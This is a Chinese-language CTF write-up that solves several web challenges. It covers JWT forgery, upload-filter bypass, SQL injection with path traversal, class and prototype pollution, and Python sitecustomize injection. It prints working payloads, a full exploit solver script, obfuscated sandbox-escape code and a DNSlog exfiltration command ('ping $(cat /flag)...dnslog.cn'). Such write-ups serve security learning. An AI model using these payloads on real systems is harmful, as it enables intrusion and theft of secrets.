做完后的感觉,烦死了
only real
dirsearch扫描发现flag.php文件
a09af8f6-6243-4a78-8959-eb2980fa08cd-image.png
得到flag
18587ff7-f61e-4b65-a733-9b0ec2f74c99-image.png
only_real_revenge
ed949094-fa18-4a9b-9954-08c1d7feb861-image.png
查看源码后得到账号密码,登录后bp抓包
38bf9c0d-e793-4dfc-98c4-9f3576fbca4e-image.png
发现jwt_token,暴力破解并构造新的admin的jwt
d91b254f-30f7-4ead-9dcc-799fa6edde40-image.png
9bb30893-9e2e-4094-a3a5-30dcfce36abf-image.png
修改后放行,成功解锁上传文件
发现此处会对php eval flag等关键字过滤且前端验证文件类型采用<?=cat /f*?>和抓包改名的方式绕过
访问上传的php文件,即可得到flag
a6da60c7-4504-40ef-a105-72a974ac82ba-image.png
注意:此处要将token改为修改后的
DXT
此题为mcp服务器上传.dxt文件进行rce
查阅资料制作文件
manifest.json
内容如下
{
"dxt_version": "0.1",
"name": "oob-exploit",
"version": "1.0.0",
"description": "OOB Exploit",
"author": {
"name": "Hacker",
"email": "hacker@example.com"
},
"server": {
"type": "stdio",
"entry_point": "/bin/sh",
"mcp_config": {
"command": "/bin/sh",
"args": [
"-c",
"此处输入要执行的命令"
]
}
}
}
将他zip压缩,因为.dxt文件的本质为zip,直接将后缀改成.dxt
由于此处执行命令不会回显,于是用DNSlog回显的方法得到flag
执行命令ping $(cat /flag).mcd2fp.dnslog.cn
即可得到flag
3553ecb7-2afa-4728-a2a3-11ecff729f3d-image.png
Broken Trust
f885a197-3efc-41d8-a17b-0d0793b2d942-image.png
注册并登录
登录后发现一个查找器
007bb49a-5066-4765-8d98-58ac81e83f6e-image.png
猜测的此处可以进行sql注入
注入后发现admin的uid
23e1673c-c04a-4cc3-8a60-6d352c507787-image.png
d283541e-0807-41a2-962a-301a276d69fa-image.png
登录后通过遍历目录拿到flag
api/admin?action=backup&file=..//flag
604b8244-5025-4b42-9f62-6081ea3b7acd-image.png
ez_python
这个python代码在 / 路由通过 merge 函数将 POST 的 JSON 递归合并到全局 instance 对象。利用此漏洞,发送 {"config": {"filename": "/flag"}} 即可将 instance.config.filename 改为 /flag,随后访问 /read 便读取并返回 flag。
07ec53c1-f4e3-41de-8397-55bdc1a79c14-image.png
醉里挑灯看剑
/api/caps/sync 在插入用户提供的操作记录后,会自动追加一条 source 为 "server-tail" 的尾记录。由于记录按 source 字典序排序后插入,用户只需设置 source 比 "server-tail" 大的字符串(如 "z1"),就能让尾记录先被插入,而用户记录后插入成为最新记录。该记录的 role 和 lane 若被设为 null(通过 keepRole: false 和 keepLane: false),在查询时会被 COALESCE 默认值 'maintainer' 和 'release' 覆盖,从而获得高权限。获得高权限后,即可调用 /api/release/execute 执行表达式。黑名单通过小写字符串匹配过滤关键字,但可利用 Unicode 转义(如 \u0063onstructor)绕过检测。通过 tools.sha1.constructor 获取 Function 构造函数,进而执行任意代码,读取环境变量 RUNNER_KEY。此密钥用于生成 release 证明,结合之前获取的 challenge nonce 即可计算出有效 proof,最终在 /api/release/claim 中提交并拿到 flag。
import requests
import hashlib
class CTFChallengeSolver:
def init(self, base_url):
self.base_url = base_url.rstrip("/")
self.session = requests.Session()
self.headers = {}
self.token = ""
self.sid = ""
self.runner_key = ""
self.nonce = ""
def _request(self, method, endpoint, **kwargs):
url = f"{self.base_url}{endpoint}"
kwargs.setdefault('headers', {}).update(self.headers)
try:
response = self.session.request(method, url, **kwargs)
response.raise_for_status()
return response.json()
except requests.exceptions.RequestException as e:
print(f"请求失败 [{method} {endpoint}]: {e}")
if 'response' in locals() and response.status_code == 401:
print("检查 Token 是否过期或无效")
exit(1)
def get_guest_token(self):
data = self._request('POST', '/api/auth/guest')
self.token = data.get("token")
self.sid = data.get("claims", {}).get("sid")
if not self.token or not self.sid:
print("无法从响应中提取 Token 或 SID")
exit(1)
self.headers["Authorization"] = f"Bearer {self.token}"
print(f"Token: {self.token}")
print(f"SID: {self.sid}")
def sync_capabilities(self):
payload = {
"ops": [
{"source": "z1", "note": "a", "keepRole": False, "keepLane": False},
{"source": "z2", "note": "a", "keepRole": False, "keepLane": False}
]
}
result = self._request('POST', '/api/caps/sync', json=payload)
print(f"Sync response: {result}")
def get_runner_key(self):
payload = {
"expression": "ctx.tools.sha1['\\u0063onstructor']('return \\u0070rocess.env.RUNNER_KEY')()",
"input": {}
}
data = self._request('POST', '/api/release/execute', json=payload)
self.runner_key = data.get("result")
if not self.runner_key:
print("无法获取 RUNNER_KEY")
exit(1)
print(f"RUNNER_KEY: {self.runner_key}")
def get_challenge_nonce(self):
data = self._request('POST', '/api/release/challenge')
self.nonce = data.get("nonce")
if not self.nonce:
print("无法获取 Nonce")
exit(1)
print(f"Nonce: {self.nonce}")
def claim_flag(self):
proof_str = f"{self.sid}:{self.nonce}:{self.runner_key}"
proof = hashlib.sha1(proof_str.encode()).hexdigest()
payload = {
"nonce": self.nonce,
"proof": proof
}
result = self._request('POST', '/api/release/claim', json=payload)
flag = result.get("flag", "未找到 Flag 字段")
print(f"Flag: {flag}")
def run(self):
self.get_guest_token()
self.sync_capabilities()
self.get_runner_key()
self.get_challenge_nonce()
self.claim_flag()
if name == "main":
BASE_URL = "http://80-9c2b8646-841e-4439-b861-358f760b18e0.challenge.ctfplus.cn/"
solver = CTFChallengeSolver(BASE_URL)
solver.run()
0eb9fb88-8c06-4a81-9183-034799443b26-image.png
AutoPypy
Web 服务允许上传 Python 脚本并在沙箱中运行,但上传时未过滤文件名,可利用路径穿越将恶意脚本写入宿主机的 Python 库目录。利用 Python 自动加载 sitecustomize.py 的特性,当服务器执行任何脚本时,恶意代码会在沙箱启动前以宿主机权限运行,从而读取 flag。
恶意代码:
import os
for path in ['/flag', '/home/ctf/flag', 'flag']:
if os.path.exists(path):
with open(path) as f:
print(f.read())
上传后保存/usr/local/lib/python3.10/site-packages/sitecustomize.py
在此执行命令即可
70ae5d8e-57d5-46f0-8b29-908bdc6ea4dc-image.png
Not a Node
边缘运行时的底层 C++ 绑定将文件读写接口暴露在 __runtime._internal.lib.symbols 中,但函数名被混淆(如 _0x72656164 对应 read)。常规字符串路径会被运行时自动添加工作目录前缀并补全 Null 字节,导致 ../flag 失效。通过 TextEncoder 将路径转为 Uint8Array 字节流直接调用底层函数,绕过了 JS 层的路径预处理,使回溯生效。同时,十六进制编码属性名规避了 WAF 对 globalThis 等关键词的拦截,最终成功读取根目录下的 Flag。
恶意代码为:
export default {
async fetch(req) {
// 获取运行时内部工具(使用十六进制混淆绕过检测)
const R = __runtime;
const tools = R["\x5f\x69\x6e\x74\x65\x72\x6e\x61\x6c"]["\x6c\x69\x62"]["\x73\x79\x6d\x62\x6f\x6c\x73"];
const READ = "\x5f\x30\x78\x37\x32\x36\x35\x36\x31\x36\x34"; // "_0x72656164" 的十六进制表示
// 定义动态文件读取函数(避免直接使用敏感词)
const getF = (p) => {
try {
// 将路径转换为 Uint8Array 绕过路径检查
const bytes = new TextEncoder().encode(p);
return tools[READ](bytes);
} catch (e) {
return e.message;
}
};
// 读取 flag 文件(使用相对路径绕过目录限制)
const flag = getF("\x2e\x2e\x2f\x66\x6c\x61\x67"); // "../flag" 的十六进制表示
return new Response(flag);
}
};
bfecf876-69d7-498d-b2fd-88b516eea38b-image.png
ezpollute
通过 /api/config 接口的 merge 函数存在原型污染漏洞,攻击者可利用 constructor.prototype 向 Object.prototype 注入 NODE_OPTIONS="-r /flag"。访问 /api/status 时,子进程启动会继承污染后的环境变量,从而加载 /flag 模块并输出 flag,最终在响应中获取。此攻击结合了原型污染与 Node.js 环境变量注入,实现了远程代码执行。
恶意脚本
{
"constructor": {
"prototype": {
"NODE_OPTIONS": "-r /flag"
}
}
}
ad8fc955-3b77-4aa6-a090-90b7fa247667-image.png